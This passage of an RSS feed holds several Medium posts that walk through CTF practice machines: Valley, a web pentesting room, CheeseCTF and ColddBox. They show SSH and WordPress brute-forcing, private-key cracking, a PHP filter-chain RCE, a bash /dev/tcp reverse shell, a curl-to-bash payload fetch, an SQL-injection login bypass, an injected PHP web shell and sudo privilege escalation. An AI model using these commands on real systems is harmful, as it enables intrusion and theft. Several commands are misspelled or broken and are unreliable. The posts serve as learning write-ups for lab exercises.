src="https://cdn-images-1.medium.com/max/550/1*iaukmwB3Aiz7POJvZX2BDw.png" /></figure><p>Within the TCP stream, you will find the username and password for the valleyDev account. Make sure to save these credentials securely, as you may need them later in the process.</p><p>Use the retrieved credentials to log in; upon successful authentication, you will gain access to the valleyDev account, where further information or resources may be available</p><pre>ssh valleyDev@10.10.18.151</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*-7wbVAa0L3DXt1cvE4PEIQ.png" /></figure><p>Now that you’re logged into the valleyDev account, proceed by following the commands listed below to continue your exploration or complete the next steps</p><pre>ls</pre><p>While navigating within the valleyDev account, you will come across a file named user.txt. This file likely contains a user flag or important information, so be sure to open and review its contents.</p><pre>cat user.txt</pre><p>By accessing the user.txt file, you will obtain the root flag required to answer the first question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*ZFoieyewYeECdttj1UFWGg.png" /></figure><p>Copy the flag from the user.txt file, paste it into the answer field for the first question, and submit it to complete that part of the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SE4y1-wZTv_ccJSUN0U09Q.png" /></figure><p>Continue using the same terminal session and execute the following commands to proceed with the next steps in the process.</p><pre>cd ..</pre><pre>ls</pre><pre>ls -la</pre><p>You will notice several directories in the location, but only a single file named valleyAuthenticator, which stands out and appears suspicious—making it a likely candidate for further investigation.</p><p>To download the file valleyAuthenticator, you’ll need to host it locally first. Once it’s being served, you can proceed to download it using the appropriate command or tool</p><pre>python3 -m http.server</pre><p>Open a new terminal window to execute or analyze the valleyAuthenticator file.</p><p>The contents of the valleyAuthenticator file may appear as gibberish or obfuscated. To address this, use UPX (the Ultimate Packer for eXecutables) to unpack or decompress the file, which should make it easier to analyze.</p><pre>string valleyAuthenticator | grep -B 5 -A 5 username</pre><p>You will find some alphanumeric strings that appear to be hashed credentials. Copy and save them into a text file with any name, then use John the Ripper to crack the hash. This process will reveal the username and password.</p><p>Now switch to the valley user and log in using the credentials you just cracked.</p><pre>su valley</pre><p>Search through the system to locate all files and directories. Once found, identify the file named photosEncrypt.py. Open and modify this file as needed—this script may be critical to progressing further or uncovering hidden data and save it.</p><pre>ls</pre><pre>cat root.txt</pre><p>After running cat root.txt, you will receive the second flag. Copy the flag, paste it into the corresponding answer field, and submit it to complete the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2um6k9WMzJHipvIcjpkfsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sn_OMUKjwReKnZlr5Ov1Fg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=422f8694e4fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Web Pentesting — A Walkthrough by G.Mahesh]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-web-pentesting-a-walkthrough-by-g-mahesh-549846559eb0?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/549846559eb0</guid>
            <category><![CDATA[web-pen-testing]]></category>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sun, 08 Jun 2025 16:29:30 GMT</pubDate>
            <atom:updated>2025-06-08T16:29:30.970Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Web Pentesting — A Walkthrough by G.Mahesh</h3><h3>1. Enumeration: Establishing Our Foothold</h3><p>Before diving into a penetration test, it’s essential to understand the environment we’re working in.</p><p><strong>Step 1: Identifying the Target’s IP</strong><br> To begin, ensure your Kali machine is connected through the provided .ovpn file. The target IP address should be listed within the room details. Once connected, use the ping command to confirm that your machine can reach the target and that connectivity is established.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*aWTvt9Zw63WXTmu_EyuEfg.png" /></figure><p><strong>Step 2: Using Nmap to Identify Open Ports</strong><br> Next, use a scanning method to detect which ports are accessible on the target system. Employ Nmap to uncover both the open ports and the service versions running on the target machine.</p><pre>nmap -sV 10.10.192.70</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u73K1PStdHqM-_Icj2OucA.png" /></figure><p>From the Nmap scan results, we can observe that port 80 is open and running an HTTP service. Open Firefox and enter the attacker machine’s IP address into the browser’s address bar. This should bring up a web page hosted on the target.</p><p>Next, use the <strong>Gobuster</strong> tool to perform directory enumeration. This will help uncover any hidden directories or folders that may exist on the website.</p><pre>sudo gobuster dir -u http://10.10.192.70/ -w /usr/share/wordlists/distrubter/directory-list-2-3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzpiD23mNp2B3EgQAsoPGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ubCjWYk9f5OshjT78Mq3w.png" /></figure><p>After that, use the <strong>enum</strong> command or enumeration techniques to dig deeper and gather more detailed information about directories or components labeled <strong>j</strong> and <strong>k</strong>.</p><pre>enum4linux -S 10.10.192.70</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oktHyzXbLfzEbZvlyWLBg.png" /></figure><pre>hydra ljan -p /usr/share/wordlists/rockyou.txt.gz ssh://10.10.192.70 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zrP6Trk3F2zZowmUKjYqpQ.png" /></figure><pre>ssh jan@10.10.192.70</pre><p>Using the discovered password, we are able to log in as the user <strong>jay</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*gZeWelOzE1PEkilKhe8ueA.png" /></figure><pre>cd ..</pre><pre>ls </pre><pre>cd kay/</pre><pre>ls -la</pre><pre>cd .ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*VzTIVI8MjPFUfuNQPMQ5aQ.png" /></figure><pre>cat id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*Sq4ja6LSy9rA12fWGnUWmA.png" /></figure><p>Next, you’ll find a private key — copy it and save it using nano, giving the file a name like id_rsa.</p><pre>nano id </pre><pre>ssh2jhon id &gt; hash.txt</pre><pre>jhon hash.txt --wordlists=/rockyou.txt</pre><p>Use the appropriate command to retrieve the passphrase for the private key.<br> Once you have the passphrase, you can log in using the private key and gain access.</p><pre>chomd 600 id</pre><pre>ssh -i id kay@10.10.192.70</pre><pre>ls</pre><pre>cat pass.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*SqSiH0YeF-wZbjQs2ATMJg.png" /></figure><p>Finally, copy the password you’ve found and paste it into the answer field in the room, then submit it to complete the task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0SJRxLDvrqI9qfc7O_Gvyw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=549846559eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CheeseCTF -A Walkthrough by G.Mahesh]]></title>
            <link>https://medium.com/@mahesh7780376316/cheesectf-a-walkthrough-by-g-mahesh-f819604f9ce0?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f819604f9ce0</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 07:19:47 GMT</pubDate>
            <atom:updated>2025-06-04T07:19:47.537Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview:</h3><p><strong>CheeseCTF</strong> is a Capture The Flag (CTF) cybersecurity competition designed to test and enhance participants’ skills in various areas of cybersecurity. It is often used by students, security enthusiasts, and professionals to sharpen their knowledge in fields like:</p><p>· <strong>Reverse Engineering</strong></p><p>· <strong>Web Exploitation</strong></p><p>· <strong>Binary Exploitation</strong></p><p>· <strong>Miscellaneous/General skills</strong></p><h3>Step 1: Discovering the Target’s IP</h3><p>First things first, make sure that you are connected to a <strong>ovpn </strong>in your kali machine. The Target ip is provided in Room. Then use the ping command to check that your machine is connected to the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*Vl39MhSHLH4eoFnT2BBskA.png" /></figure><p>If your kali is not connected to the ovpn then u can’t see any type of responses</p><h3>Step 2: Scanning for Open Ports with Nmap</h3><p>Then perform the scanning technique to find the open ports and the versions that the attacker machine is using:</p><pre>nmap 10.10.58.43</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*rhv0RV7pXjclXcgsCSUPyA.png" /></figure><p>In This nmap scanning we can see that the <strong>port 80 is open service is http. </strong>Then copy paste the ip address of the attacker machine in the firefox.so then n you can find a page indicating <strong>The Cheese Shop</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RTTGEoZ9iXpMu5dQi_80fQ.png" /></figure><p>Then use the dirsearch Command/Technique to find any type of <strong>Directory’s and Folders </strong>that are present in the website</p><pre>dirsearch -u http://10.10.58.43</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9H_9lCtJdX3rZxz0kXpWMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NrSxi1H17uAAfpr2DG4W3w.png" /></figure><p>In this scanning technique we find the <strong>Three Types</strong> of <strong>Directory’s </strong>one is <strong>C</strong>, <strong>-/orders.html , and -/users.html,.</strong></p><p>In the Cheese Shop URL add the -<strong>/login.php </strong>then you can see the login interface (OR) You can see the login option/buttton in the The Cheese Shop Website b clicking on it you will be seeing the same interface</p><pre>10.10.58.43/login.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MizpKm2-XMlHzyLmt5msPQ.png" /></figure><p>In the Cheese Shop URL Replace the -<strong>/login.php with the </strong>-<strong>/Orders.html </strong>then you can see the page conists of orders.</p><pre>10.10.58.43/orders.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7R4BNkt5dO1jsgwSIQyVQ.png" /></figure><p>then replace the -<strong>/Orders.html with</strong> -/<strong>Messages.html.</strong></p><pre>10.10.58.43/message.html</pre><p>click on the message url :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*feWodK-olFnoTmo1pPAPNA.png" /></figure><p>you will see a text with the text <strong>If you know, you know : D</strong></p><p>this means there is a supersecret message consists in the message URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CIcu9-F3wKHrxaFbsV0UhA.png" /></figure><p>change the url to <strong>/etc/passwd</strong></p><pre>http://10.10.58.43/secret-script.php?file=php://filter/resource=/etc/passwd</pre><p>By searching you can see the contents related to the system files, in a code format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wupnG80qR3f06MTOGzrnQg.png" /></figure><p>To debug the code into the normal or plane text you have to perform the <strong>reverse shell.</strong></p><p>go to the google and search for <strong>PHP Filter RCE. </strong>there you will the page named <strong>hacktricks.</strong>in that you will find a <strong>github</strong> link for the <strong>php_filter_chain_generater copy it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_JaZMPhYReFHeBYstHMWw.png" /></figure><p>Open a terminal and paste the copied githubl ink in the terminal.</p><p>then type <strong>ls.</strong></p><pre>ls</pre><p>then</p><pre>cd php_filter_chain_generator</pre><p>After</p><pre>python3 php_filter_chain_generator.py --chain &#39;&lt;?php phpinfo(); ?&gt;&#39;</pre><p>then you willl get a large code ,copy it and then</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JBIR-2WoxoqiKMxhVh-Vsw.png" /></figure><p><strong>Step3:Reverse Shell</strong></p><p>open your burpsuite and intercept the request of the message url in the messages.html(above picture).send it to the repeater</p><p>Know change <strong>php?file </strong>with the copied code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*2zhrwTwwtjIeXKX9.png" /></figure><p>then you will get the information about the target</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*i0deQtcKlWJzB8e0.png" /></figure><p>create a script shell named <strong>“revshell” </strong>in a termial.</p><pre>nano revshell</pre><p>then use the below command in this nano</p><p>change the ip to your openvpn ip address</p><pre>bash -i &gt;&amp; /dev/tcp/10.10.58.43/4444 0&gt;&amp;1</pre><p>then</p><pre>python3 php_filter_chain_generator.py --chain &#39;&lt;?= `curl -s -L 10.0.0.1/revshell|bash` ?&gt;&#39;</pre><p>after you will get an another long code copy it and replace it with the <strong>php?file</strong></p><p>before sending this open the two terminals:</p><pre># terminal 1<br>sudo python3 -m http.server 80</pre><pre># terminal 2<br>nc -lvnp 4444</pre><p>then send it , you will get like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qIotFdiOrDx_1bKtT9L2eg.png" /></figure><p>then</p><pre>ls -la</pre><pre>cd .ssh</pre><p>after</p><pre>ls</pre><p>then you can see a <strong>authorized keys </strong>named file,then:</p><pre>cat authorized_keys</pre><p>there is no password for this,so we hve to create the password for this authorized keys ,to do that open terminal ad type command</p><pre>ssh-keygen</pre><pre>cd ~</pre><pre>cd .ssh</pre><pre>ls</pre><pre>cd id_ed25519.pub</pre><p>then you will get the code that code is the key.</p><pre>echo (copied code) &gt; authorized_keys</pre><pre>ssh comte@(ip address of target machine)</pre><p>press yes!</p><pre>ls</pre><p>then u will get the folder <strong>user.txt.</strong></p><pre>cat user.txt</pre><p>you will get the first answer</p><pre>sudo -l</pre><pre>cat /etc/systemd/system/expliot.timer</pre><p>there will be no time mentioned you have to mention the time</p><pre>nano /etc/systemd/system/expliot.timer</pre><p>set the time for 5s</p><pre>sudo /bin/systemctl daemon-reload</pre><pre>sudo /bin/systemctl restart expliot.timer</pre><pre>cd /opt/</pre><pre>./xxd /root/root.txt | ./xxd -r</pre><p>there you will get the 2nd answer</p><p>to login into the machine use the ,for both username nd password</p><pre>&#39; || &#39;1&#39;=&#39;1&#39; - -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9gQnR8qLAxe75HzglbmnA.png" /></figure><p>here you have to mention the answers you have finded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UGohhvqFXjY3YAaEq4VMsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bddMz6g2xP6829nmmlJTXQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f819604f9ce0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ColdBox by mahesh]]></title>
            <link>https://medium.com/@mahesh7780376316/coldbox-by-mahesh-4318ebad5a9d?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/4318ebad5a9d</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sun, 25 May 2025 16:44:02 GMT</pubDate>
            <atom:updated>2025-05-25T16:44:02.368Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Enumeration: Getting Our Bearings</h3><p>The first step in any penetration test is to get a lay of the land.</p><h3>Step 1: Discovering the Target’s IP</h3><p>First things first, make sure your target VM is on the same subnet as your attacking machine. I use sudo netdiscover to find active hosts. To accurately identify the ColddBox VM, look for the <strong>MAC vendor: PCS Systemtechnik GmbH</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*5IfLkBzaiRncc67CHMNwTQ.png" /></figure><h3>Step 2: Scanning for Open Ports with Nmap</h3><p>Once we have the IP address (let’s assume it’s 192.168.189.70 for this walkthrough), a thorough Nmap scan is crucial to uncover open ports and running services.</p><pre>sudo nmap -sC -SV -p- 192.168.189.70</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*2_ddFhawdsZ6ksN56A7lhg.png" /></figure><h3>Step 3: Web Interface Reconnaissance</h3><p>Navigating to <a href="http://192.168.189.70/">http://192.168.189.70</a> in my browser brought up a web page with a message from &quot;C0ldd.&quot; The message was a little cryptic, hinting at multiple ways to escalate privileges. I also spotted a login link, which is always a good sign for further investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*L4Q-vLgm6zc2jlaAZBVO6A.png" /></figure><h3>Step 4: Discovering Hidden Directories with Gobuster</h3><p>Time to hunt for hidden gems! I fired up <strong>Gobuster</strong> to brute-force directories on the web server.</p><pre>sudo nikto -h 192.168.189.70</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFxb8MuSkfA21STW-79kpQ.png" /></figure><p>This scan quickly turned up the /hidden directory. Inside, I found another message: &quot;C0ldd can change Hugo&#39;s password.&quot; This immediately suggested <strong>&quot;Hugo&quot; and &quot;C0ldd&quot; as potential usernames</strong> for the system – a valuable piece of information!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mXLoTkYQ_2bzGXfxlyYpXA.png" /></figure><h3>Step 5: WordPress Enumeration with WPScan</h3><p>The presence of a login page and hidden directories hinted at a CMS, and sure enough, further investigation confirmed it was a <strong>WordPress</strong> installation. I used <strong>WPScan</strong> for a more targeted enumeration:</p><pre>wpscan --url http://192.168.189.70/ -e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*zmPmb9kP7KdJ6zGYxgeTpQ.png" /></figure><p>WPScan was a goldmine! It identified <strong>WordPress version 4.1.31</strong>, which is quite outdated (and likely vulnerable!), and confirmed <strong>“c0ldd” as a valid username</strong>.</p><h3>2. Password Brute Forcing: Cracking the Code</h3><p>With a valid username and an outdated WordPress version, it was time to attempt to crack the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*9FH4dq_VZNYhndE1aY_3Lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*L7nGYDi-2oeDcwriYTdwAQ.png" /></figure><h3>Step 6: Brute-Forcing Login Credentials</h3><p>I continued to use WPScan, this time leveraging a common password list, rockyou.txt, to brute-force the password for the c0ldd user.</p><pre>wpscan --url http://192.168.189.70/ -U c0ldd -P /usr/share/wordlists/rockyou.txt</pre><h3>3. Reverse Shell: Getting a Foothold</h3><p>Gaining access to the WordPress dashboard opens up a lot of possibilities, and getting a reverse shell is usually the next logical step.</p><h3>Step 7: Injecting a Reverse Shell</h3><p>From within the WordPress admin dashboard, I navigated to <strong>Appearance &gt; Theme File Editor</strong>. This is a common attack vector as it allows direct modification of PHP files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIk9106EaTYDyNHdXdKcJw.png" /></figure><h3>Step 8: Modifying Template Files</h3><p>I targeted the 404.php file first, but if that doesn&#39;t pan out, footer.php is another great option. I replaced its content with a standard PHP reverse shell from PentestMonkey, making sure to update the <strong>IP address and port</strong> to my attacking machine&#39;s details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R7FOl6tcxHDg_mHB21L6gg.png" /></figure><h3>Step 10: Triggering the Reverse Shell</h3><p>With the listener ready, all that was left to do was to <strong>reload the WordPress website</strong>. This executed the modified footer.php file, and <em>boom!</em> A reverse shell connected back to my listener. I now had a low-privileged shell on the ColddBox machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*dKXV9crJseUrEvTijSN9jQ.png" /></figure><h3>4. Privilege Escalation: Climbing to Root</h3><p>Getting a shell is great, but we’re not done until we’re root!</p><h3>Step 11: Upgrading the Shell</h3><p>First, I upgraded my basic shell to a fully interactive TTY shell for better usability:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*fPcDBVz-QeXCscJHObv-KA.png" /></figure><h3>Step 12: Extracting Credentials</h3><p>I immediately looked for configuration files that might contain sensitive information. The WordPress config file is always a good bet.</p><pre>cd /var/www/html<br>tail wp-config.php</pre><p>And there it was! The wp-config.php file contained the <strong>MySQL username and password</strong>. Often, these credentials are reused for system accounts, so this was a promising lead.</p><h3>Step 13: Switching User to c0ldd</h3><p>I tried using the extracted credentials with the su command to switch to the c0ldd user:</p><pre>su c0ldd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*abQvKq-0rk0UuGxNwzBVWA.png" /></figure><h3>Step 14: Finding the User Flag</h3><p>With c0ldd privileges, I went straight to the user&#39;s home directory to look for the user flag.</p><pre>cd /home/c0ldd<br>cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*zdPdBZWOgblV7jWJG2AvLg.png" /></figure><pre>echo &quot;RmVsaWNpZGFKZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==&quot; | base64 -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*IKGgU2FQnRvu5MNeDFBkZw.jpeg" /></figure><p>Step 16: Now that we got our first flag, it is time to escalate our privilege to the root user. Let’s see what our current user’s permissions are, we can do that by using the command:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*JnPiWrb7Oo5voUZH5H7xKQ.jpeg" /></figure><p>From this, we can see that our user (c0ldd) can the following commands:</p><ol><li>chmod</li><li>vim</li><li>ftp</li></ol><p>with the same permissions of the root user. We can escalate our privileges to the root by using any of this three commands and we will try out all the three ways. Before we begin, there is a website called <a href="https://gtfobins.github.io/">GTFObins</a> . Which have all kind of tricks to bypass security and we are going to use that website to help us during our tasks.</p><p><strong>Using chmod</strong></p><p>Step 19: Go to the GTFObin website and search for chmod. Come to the sudo section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*f5yjhCd83xhM7IqC.png" /></figure><p>fig.32</p><p>We can use this method to change the permissions of a file, which is restricted to the low privilege user and turn it into an accessible file for every user.</p><p>In our case, the file that we want to access is the root file. We can set that by using the command:</p><pre>LFILE=root</pre><p>Then execute this command:</p><pre>sudo chmod 6777 $LFILE</pre><p>sudo : Runs the command as the root (super user do)</p><p>chmod 6777 :</p><p>6 = Gives read, write and execute access to the owner of the file</p><p>777 = Gives read, write and execute access to every user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*WKq-OUJilEYnWBd2.png" /></figure><p>fig.33</p><p>Now, we can access the root file and find the <strong>root.txt</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*YZomGYx_-SKyCa8P.png" /></figure><p>fig.34</p><p>We can see the file permission that have been modified after using the chmod command. Ok, now let’s go and open that root.txt.</p><p>Step 20: We can open the root.txt file using the cat command:</p><p>and decode the base64 string using the command :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*RlMYuAoQ08vSOLT2.png" /></figure><p>fig.35</p><p>Which translates into</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*2HtXszsZE8MBR_Cn.png" /></figure><p>fig.36</p><p><strong>Congratulations for coming this far and completing the machine !</strong>You guys can turn it off now or try out the other ways of escalating the privilege of this machine with me. Alright then, Let’s go !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4318ebad5a9d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[COLDBOX ASSIGNMENT]]></title>
            <link>https://medium.com/@mahesh7780376316/coldbox-assignment-3729995e4daa?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3729995e4daa</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sun, 25 May 2025 13:50:49 GMT</pubDate>
            <atom:updated>2025-05-25T13:50:49.684Z</atom:updated>
            <content:encoded><![CDATA[<p>First, we run our NMAP scan. We search for open ports and services running on all ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*e3KEoiclhNT34lAJoCiEsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*BmpzSQFs4fLBM3DwwdiyWQ.jpeg" /></figure><p>We see that 2 ports are open. We see that the http service is open on port 80. We use the nikto tool to find possible vulnerabilities on the website and the information we can obtain .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*kb45chPD2-Vaku-WBo6n3w.jpeg" /></figure><p>According to the information we received from Nikto, we have a Wordpress based website. We have a directory called <em>/hidden</em> , it might be interesting.</p><p>We have Wordpress XML-RPC feature, this is very important, there may be a gap here. Keep it in mind.</p><p>Finally, we found our login page in the /wp-login.php path.</p><p>Let’s see if we can log in using brute force on the login page. There may be a weak password. We first try to find users using the user enumeration feature of the wpscan tool<strong>.</strong></p><pre>wpscan —-url &lt;TARGET&gt; —-enumerate u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*wIOcxfp-Gc1flnDVREaOYA.png" /></figure><pre>wpscan —-url &lt;TARGET&gt; --usernames c0ldd --passwords /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*V8QDrmIfAq_vc0tq44YPag.jpeg" /></figure><p>We quickly found our password. We log in from /wp-login.php. We logged in to the Wordpress admin panel. We will access by adding PHP shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*8b-qnUNZ5X6hWi9i-98SnA.jpeg" /></figure><p>We are loading the shell here. Although it gave an error after adding the plugin, the shell is actually loaded. I edited the shell and will listen on port 4444.</p><pre>nc -lvp 4444</pre><p><em>I access the shell from 10.10.69.143/wp-content/uploads/2025/05/shell.php</em> . You can also access your shell by following the &lt;URL&gt;/wp-content/uploads directory. In this way, we provide our connection.</p><p>We go to the root directory of the website and take a look at the wp-config file. This file is where database connection information is stored in WordPress applications, we can find important information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*6_6HfrnGwE1z68q3dwk32w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yo01bBIK9CgzLQoItbpdkw.jpeg" /></figure><p>We have a password: “ <em>cybersecurity</em> “. The first thing that comes to mind is that this password can be used by the same users in other places.</p><p>The ssh service running on port 4512 comes to mind immediately.</p><pre>ssh c0ldd@&lt;TARGET_IP&gt; -p 4512</pre><p>We were able to log in when we entered cybersecurity as the password.</p><p>We obtained our first flag by accessing user.txt.</p><p>Now we need to access root permissions.</p><pre>sudo -l</pre><p>We are looking at tools that we can run as sudo with the command.</p><p>at the address.</p><pre>sudo vim -c &#39;:!/bin/sh&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tH0PxPMpfesnGYBUKMSCHw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3729995e4daa" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>